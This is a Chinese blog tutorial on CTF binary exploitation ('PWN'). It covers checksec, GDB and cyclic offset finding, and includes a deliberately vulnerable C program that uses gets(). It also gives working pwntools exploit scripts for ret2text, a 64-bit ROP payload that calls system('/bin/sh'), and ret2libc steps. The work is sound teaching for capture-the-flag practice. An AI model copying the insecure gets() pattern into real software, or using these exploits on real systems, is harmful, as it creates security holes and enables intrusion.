news 2026/9/8 3:10:02

PWN入门实战:CTF漏洞利用流程与栈溢出exp编写详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PWN入门实战:CTF漏洞利用流程与栈溢出exp编写详解

打CTF打到PWN题,是很多新选手的第一道坎,也是真正让人上瘾的起点。PWN这个词来自游戏里的“掌控”,在CTF里特指漏洞利用:给你一个编译好的二进制程序,你得找到它的漏洞,写一段攻击脚本,拿到服务器上那个flag。它不像Web题那样靠业务逻辑闪转腾挪,也不像逆向题那样只求看懂代码,PWN的核心是把内存布局、汇编指令、系统调用这些底层知识落在一行行exp里,让程序乖乖执行你想让它做的事。整个过程横跨逆向分析、动态调试、脚本编写三件事,踩坑多、正反馈也强。

这篇文章想把这套解题流程完整拆一遍,从刚拿到题目的第一步信息收集,到漏洞定位、利用构思、exp落地,再到常见的坑和调试习惯,适合刚接触PWN、刷了几道题还摸不清套路的选手看。内容里所有命令和脚本都是我在日常打题、出题、带新人的过程中反复用过的,可以直接照着操作。

1. 拿到题目先别上头,信息收集决定成败

很多人拿到PWN题的第一反应是赶紧拖进IDA里看伪代码,结果被一堆结构体和函数指针绕晕。我的习惯恰恰相反——先用一条命令把程序底细摸清楚,再考虑要不要上逆向来分析。

1.1 checksec:五秒看清保护机制

在Linux环境下,PWN题最常见的检查工具就是pwntools自带的checksec。进入题目文件夹后,一行命令就能看到所有关键保护:

checksec ./pwn

输出大致长这样:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

每一行都对应一种攻击路径的可行性:

  • Arch:程序是32位还是64位,这直接决定偏移计算、参数传递方式。i386和amd64的利用细节差别很大,后面写exp时不能混。
  • RELRO:Partial还是Full,影响能不能改GOT表。Partial RELRO常见于入门题,GOT表可写,ret2plt、GOT劫持都方便。Full RELRO则要另想办法,比如打栈、打hook。
  • Stack Canary:没有canary,栈溢出就是摆在明面上的口子;有canary,就得先泄露canary值再覆盖。泄露canary本身又是另一套流程。
  • NX:NX禁用意味着栈不可执行,ret2shellcode这种经典打法直接出局,得转向ROP。
  • PIE:没有PIE说明程序加载地址固定,.text段地址可以从IDA里直接抄;开了PIE所有地址都是相对的,需要先泄露一个libc或程序基址。

这些保护不是摆设,它们互相组合,基本规定了你能走的利用路线。我看checksec的时间通常不超过十秒,看完心里已经有了一到两套候选方案。

1.2 file、readelf与strings:摸清文件底细

除了checksec,还有几个命令在信息收集阶段值得养成习惯:

file ./pwn readelf -h ./pwn # 看ELF头,确认架构和入口 readelf -s ./pwn # 看符号表,有时直接暴露system、gets等敏感函数 strings ./pwn | head -50

strings特别适合入门题,经常能看到/bin/shflag.txtYou are a hacker这类字符串,这些往往是后门函数或特定路径的线索。如果strings里直接出现了/bin/sh,基本可以断定题目准备了system或execve调用,后面找找引用位置就能锁定后门地址。

readelf -s配合objdump -d还能快速判断程序是否去符号。出题人如果不加-s编译,符号表会保留mainvulnwin这些函数名,逆向省一半力气。如果全被strip掉了,才需要靠入口地址和交叉引用慢慢还原结构。

1.3 先跑一遍,观察程序行为

静态信息看得差不多了,务必本地跑一次程序:

./pwn

观察几个点:

  • 程序是交互式输入还是读取文件内容。
  • 输入有没有长度限制,收到的提示信息长什么样。
  • 有没有明显的菜单、循环、回显,这些都会影响exp的交互方式。

我习惯用一个固定流程测试:先随便输入一串普通字符串,比如AAAA,看程序崩不崩;再用长字符串触发一次溢出,看会报什么错。

python3 -c "print('A'*200)" | ./pwn

如果出现Segmentation faultstack smashing detected,说明溢出点就在这条路径上。配合GDB或者gdb插件(比如peda、pwndbg),能直接看到崩溃时的返回地址被覆盖成了什么。这个“溢出点定位”是整个漏洞利用的地基,后面所有操作都从这里展开。

2. 漏洞定位:静态分析打底,动态调试补刀

信息收集做完,就该进到最核心的一步:找到漏洞并确认触达路径。我的流程是先用静态分析把程序逻辑理清楚,再用动态调试验证细节,两边交叉确认。

2.1 从IDA/Ghidra反编译看主逻辑

主流选择是IDA Pro或者免费的Ghidra。IDA的F5反编译对新手极其友好,但很多人一上来就F5看全貌,反而被各种变量名和结构体劝退。我的建议是分三步走:

第一步,看main函数和所有被调用函数的名字。如果符号表还在,光看名字就能圈出重点,比如vulnvulnerablegetsreadsystem

第二步,追踪用户的输入数据流。从readgetsscanf这些输入函数往下看,数据被存到了哪个缓冲区,缓冲区多大,有没有边界检查,后续有没有被拷贝、拼接、格式化输出。PWN题的漏洞绝大多数都藏在“输入数据怎么进、怎么被用”这条链路上。

第三步,看危险函数。getsstrcpysprintfstrcatscanf这些老面孔都是高危点。看到gets基本等于题目在告诉你“这里有栈溢出”。如果看到printf且参数直接来自用户输入,就要小心格式化字符串漏洞。

举个例子,常见到不能再常见的一段代码:

#include <stdio.h> #include <string.h> void win() { system("/bin/sh"); } void vuln() { char buf[64]; gets(buf); } int main() { vuln(); return 0; }

gcc -m32 -no-pie -fno-stack-protector -z execstack -o vuln vuln.c编译出来,就是标准的入门栈溢出题。vulnbuf只有64字节,gets却无限读入,溢出点一目了然。静态分析到这里,思路基本已经成型:把返回地址改成win函数的地址,程序就会执行system("/bin/sh")

2.2 一眼认出的高发漏洞模式

PWN高频漏洞就那么几类,做题多了几乎形成条件反射:

  • 栈溢出getsstrcpyread配合过大的长度。判断标准是缓冲区大小和输入长度限制的差额,外加有没有canary。
  • 格式化字符串printf(user_input),可以利用%x泄露栈内容,用%n写任意地址。判断标准是printf的格式化字符串参数是否完全可控。
  • 整数溢出:变量类型是int却用unsigned int存长度,或者长度字段参与减法和比较时被截断。常见于带菜单功能的堆题和栈题。
  • 堆溢出malloc后写入超长数据,可以改chunk头、伪造chunk,进而打free的GOT或__malloc_hook。这类通常放在进阶篇,入门先把栈溢出和格式化字符串吃透。
  • UAF(Use After Free):释放后的堆指针没有置NULL,还能继续被使用。堆题重灾区。

我个人的经验是:不要一上来背所有漏洞类型,先把手头的栈溢出和格式化字符串玩到滚瓜烂熟,再碰堆。因为这两类漏洞原理清晰、工具链成熟、调试方法也相对直观,是用来建立“漏洞利用手感”最好的素材。

2.3 GDB怎么用得既快又稳

光靠静态分析,很多细节是看不到的,必须用GDB确认。我强烈建议装一个gdb插件,pwndbgpeda都行,我自己用的是pwndbg,它的checksec、cyclic、heap相关命令在打PWN时效率提升很大。

常用的调试操作不是很多,关键就几个:

gdb ./pwn b *0x4006a2 # 在目标地址下断点 r # 运行 # 输入触发溢出的payload x/20wx $rsp # 查看栈上的20个字 i r # 查看寄存器 c # 继续执行

调试的核心目的是回答三个问题:

  1. 输入的数据在哪?看寄存器指向的地址和对应内存内容。
  2. 返回地址在哪?看栈上哪个位置会被溢出数据覆盖。
  3. 执行流能不能改到目标函数?改完返回地址后,单步走,看程序是否跳转成功。

一个高效的做法是先用pwntools的cyclic生成一串定制的模式字符串,撞出崩溃偏移。比如:

from pwn import * # 生成200字节的pattern pattern = cyclic(200)

把pattern输入程序,崩溃后记下EIP/RIP的值,然后用cyclic_find反推偏移:

offset = cyclic_find(0x6161616c) print(offset)

这个偏移就是覆盖返回地址之前需要的填充长度,省去手数字节的麻烦。

3. 利用构思到exp落地

漏洞找到了,偏移算好了,接下来就是把想法写成exp的过程。这部分是PWN最见功力的一环,也是网上教程最容易漏掉细节的地方。

3.1 保护机制如何决定你的攻击姿势

我习惯在写exp前,先把checksec的结果和漏洞类型对应一遍,形成一个checklist:

保护情况常用打法
无canary、无PIE、NX disabledret2shellcode,栈上直接放shellcode,跳转过去
无canary、无PIE、NX enabledret2text,回到程序内的后门函数,或ROP调用system
无canary、PIE enabled先泄露程序基址,再ret2text/ROP
有canary想办法泄露canary,或利用格式化字符串/栈信息回显leak
Full RELRO不能改GOT,优先考虑劫持__free_hook__malloc_hook或打栈
Partial RELRO可以考虑覆盖GOT表项,比如把某个函数改成system

这个表不是死的,但它能防止你走错方向。比如NX开启的题,你还在费劲往栈上塞shellcode,那就白干了。

拿前面那个vuln程序来说,假设checksec显示NX enabledNo PIE,那最稳妥的思路就是ret2text,直接返回win函数。如果题目没给后门函数,就需要构造ROP链调用system("/bin/sh"),这就要找libc地址,流程会复杂一些,但基础逻辑是一样的。

3.2 pwntools这些API足够撑起八成题目

pwntools是PWN选手最核心的武器库,新手不需要学会所有功能,先掌握下面这些就够了:

from pwn import * # 设置目标架构和日志级别 context.arch = 'i386' context.log_level = 'debug' # 启动本地进程/连接远程 p = process('./vuln') p = remote('127.0.0.1', 10001) # 发送和接收 p.sendline(payload) p.recvuntil(b'Input:') p.recvline() p.send(b'data') # 处理地址 win_addr = 0x08048456 payload = b'A' * offset + p32(win_addr) # 32位小端用p32 payload = b'A' * offset + p64(win_addr) # 64位小端用p64 # 交互获得shell p.interactive()

这些接口在八成题目里都够用。如果开了system后需要传参数,64位程序还要用ROPgadget找pop rdi; ret这样的gadget:

ROPgadget --binary ./pwn --only "pop|ret"

拿到gadget地址后,64位的system调用payload长这样:

pop_rdi = 0x401173 bin_sh = 0x402004 # .rodata里的/bin/sh地址 system_addr = 0x401040 payload = b'A' * offset payload += p64(pop_rdi) # 第一个参数进rdi payload += p64(bin_sh) # rdi = "/bin/sh" payload += p64(system_addr) # 跳到system

这行东西看着简单,背后是System V AMD64调用约定:前六个参数依次放到rdi、rsi、rdx、rcx、r8、r9,然后call目标函数。所以想调用system,就得先把/bin/sh字符串地址放进rdi。

这里要提一个新手常见的误解:32位程序传参靠栈,64位程序传参靠寄存器。如果不小心把32位的传参方式用在64位上,漏洞就算找对了也利用不成功。

3.3 入门必会:ret2text与ret2libc的完整过程

我用一个完整示例把ret2text全流程过一遍,假设题目就是前面那个vuln.c:

先确认保护:

checksec ./vuln

看到No PIENo canaryNX enabled,思路确定为ret2text。用IDA加载,找到win函数的地址,假设是0x08048456。然后算出偏移:buf是64字节,32位下返回地址前还有4字节的saved ebp,所以填充长度是64 + 4 = 68字节。再用cyclic_find验证一遍,确保没有手滑。

最终exp:

from pwn import * context.arch = 'i386' context.log_level = 'info' p = process('./vuln') win_addr = 0x08048456 offset = 68 payload = b'A' * offset + p32(win_addr) p.sendline(payload) p.interactive()

本地跑出shell后,把process('./vuln')换成remote('目标地址', 端口),就是完整的线上解题流程。

如果题目没有后门函数,就得走ret2libc。核心思路是:从程序里先调用一次puts@pltprintf@plt把某个GOT表项的实际地址打出来,然后再根据libc偏移算出system/bin/sh的真实地址。这里涉及libc版本识别,可以用LibcSearcherlibc-database,也可以直接查本地libc的偏移:

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system strings -a /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"

两边算出的偏移差值就是相对基址的偏移,leak出某个函数地址后,减去它在libc里的偏移,就得到libc基址,再加回system的偏移,就得到system的真实地址。这串计算逻辑第一次跑通后,后面遇到类似题目基本就是套模板。

4. 实战通用问题与排查实录

代码写出来容易,跑通是另一回事。PWN题的调试过程其实占了大半时间,很多问题来来回回就那么几个原因。

4.1 偏移量算错的经典场景

新手撞到Segmentation fault,第一个要怀疑的就是偏移错了。常见情况有三种:

一是平台位数搞混。32位程序偏移要加4字节的saved ebp,64位要加8字节,但有PIE时返回地址之前可能还有别的栈变量,不能想当然。

二是缓冲区大小没看清。IDA伪代码里char buf[64]不一定是栈上真正分配的大小,有时编译器会做栈对齐,实际偏移比64+8大一点。这时候不要手算,直接用cyclic测试最可靠。

三是多了PIE。PIE开启时,所有地址都是运行时动态变化的,你在IDA里看到的0x0x1234必须加上程序基址才是真实地址。很多题目开了PIE后还要先leak,不要拿到一个地址就硬写进payload。

排查偏移问题的标准姿势是:用cyclic覆盖,崩溃后用cyclic_find算偏移,别靠目测。

4.2 本地通了远程挂

这是最让人崩溃的一类问题:exp本地跑得好好的,一连远程就挂。常见原因按频率排:

  • libc版本不一致:本地的libc和远程服务器的libc可能差好几个版本,system/bin/sh的偏移完全不同。应对方法是先leak几个GOT地址,再用libc-database识别远程版本。
  • 交互缓冲不一样:本地process的recv时机和远程网络延迟不同,recvuntil写死了某个字符串,远程可能没打出那个字,导致脚本卡死。这时要把recvuntil的内容改宽容,或者用recvline配合循环。
  • 环境变量和CWD影响:本地目录里有flag文件,远程却在另一套文件系统里,/bin/sh能执行但找不到flag。这类问题要用lscat flag一步步确认。
  • 地址字节序问题p64p32用反了,地址直接变乱码,这在写exp时非常容易手滑。

我在处理这类问题时,会先在脚本顶部加一行context.log_level = 'debug',把收发内容都打出来,拿远程返回的内容和本地逐字比对。这个方法比瞎猜快得多。

4.3 脚本调试习惯

最后分享几个我长期养成的调试习惯,对提升做题效率帮助很大:

第一,把exp拆成函数。leak函数、exploit函数、main入口分开写,不同题目之间能复用的部分直接拷贝,改起来也方便。

第二,善用gdb.attach。在exp里可以这样:

p = process('./vuln') gdb.attach(p, ''' b *0x08048456 continue ''')

这样能在发送payload前把GDB挂上去,精确看到内存状态。调栈溢出、ROP、堆题时几乎是必备操作。

第三,记录每一次崩溃的地址。崩溃地址会告诉你“覆盖到了什么位置”,结合反汇编看,很快就能反推出栈布局。

第四,代码里尽量加上注释。CTF比赛时间紧,一道题过后容易忘记当时的思路,注释能让你赛后复盘和复现时省很多事。

我在实际做题中的体会是:PWN题的核心不是会某个奇技淫巧,而是把“分析程序、定位漏洞、构造利用、调试排错”这条链路跑得丝滑。初学阶段宁可慢一点,每一步都搞清楚为什么,也别急着追题量。栈溢出和格式化字符串这两类基础题如果能顺手写出稳定的exp,后面学堆利用、内核利用时,思路就不会乱。

最后再分享一个小技巧。如果你总是卡在“知道有漏洞但不会利用”,可以先去看同类型题目的writeup,重点不是抄脚本,而是看作者是怎么从checksec一步步推导到exp的。把推导过程在自己本地复现一遍,再换一道题目自己独立做,比单纯刷十道题都有效。PWN这东西,熟练度完全建立在动手次数上。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/8 3:10:00

金融风控中的贷后管理与逾期还款预测系统架构设计

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/8 3:07:48

STM32L431 LED闪烁例程详解:GPIO配置与CubeMX实战指南

简介&#xff1a;STM32L431RCT6 LED闪烁实验例程&#xff0c;是一份基于ARM Cortex-M4内核超低功耗MCU的基础入门资源&#xff0c;适合刚接触STM32系列、希望从零开始学习CubeMX与HAL库的嵌入式学习者。例程以最常见的LED闪烁为切入点&#xff0c;完整演示了图形化配置GPIO和时…

作者头像 李华
网站建设 2026/9/8 3:06:59

WorkBuddy实战:从环境配置到工作流排错全指南

如果你最近在关注 AI 工作流工具&#xff0c;大概率会刷到 WorkBuddy 相关的视频和教程。标题动不动就是“吊打付费”“B站最细最全”“10节付费课完整拆解”&#xff0c;确实抓眼球。但在实际动手之后&#xff0c;很多人的体验不是“工具太强了”&#xff0c;而是“这个报错到…

作者头像 李华
网站建设 2026/9/8 3:05:24

Ceph 单网卡模式特别说明(hanyw 环境)

文章目录Ceph 单网卡模式特别说明&#xff08;hanyw 环境&#xff09;1. 单网卡与双网卡的根本差异2. 单网卡下的关键约束2.1 不能做的事2.2 必须做的事3. 单网卡下的运维节奏建议4. 性能基线&#xff08;单网卡预期值&#xff09;5. 单网卡下必须改的 Ceph 配置6. 单网卡模式何…

作者头像 李华
网站建设 2026/9/8 3:03:20

AI检测原理与降AI率全攻略:从困惑度到人工改写与工具优化

1. 先搞清楚AI检测器的原理&#xff1a;困惑度、突发性与“文字指纹”前两天一个硕士生朋友凌晨一点给我发消息&#xff0c;语气几乎崩溃&#xff1a;论文改了五稿&#xff0c;知网AIGC检测还是标红30%。最气人的是&#xff0c;他第一版纯手写的绪论反而被标了12%。这不是个例—…

作者头像 李华
网站建设 2026/9/8 3:02:37

RN for OpenHarmony 组件实战:从长列表到轮播图的高频场景全解析

从零学 RN for OpenHarmony 这个系列写到第三篇&#xff0c;环境搭好、基础组件过了一遍之后&#xff0c;真正动手做应用的时候反而会觉得哪哪都用得不顺手&#xff1a;列表一多就卡、图片加载不出来、子组件改了值父组件不知道、想加个轮播图又不知道从哪下手。这些问题说白了…

作者头像 李华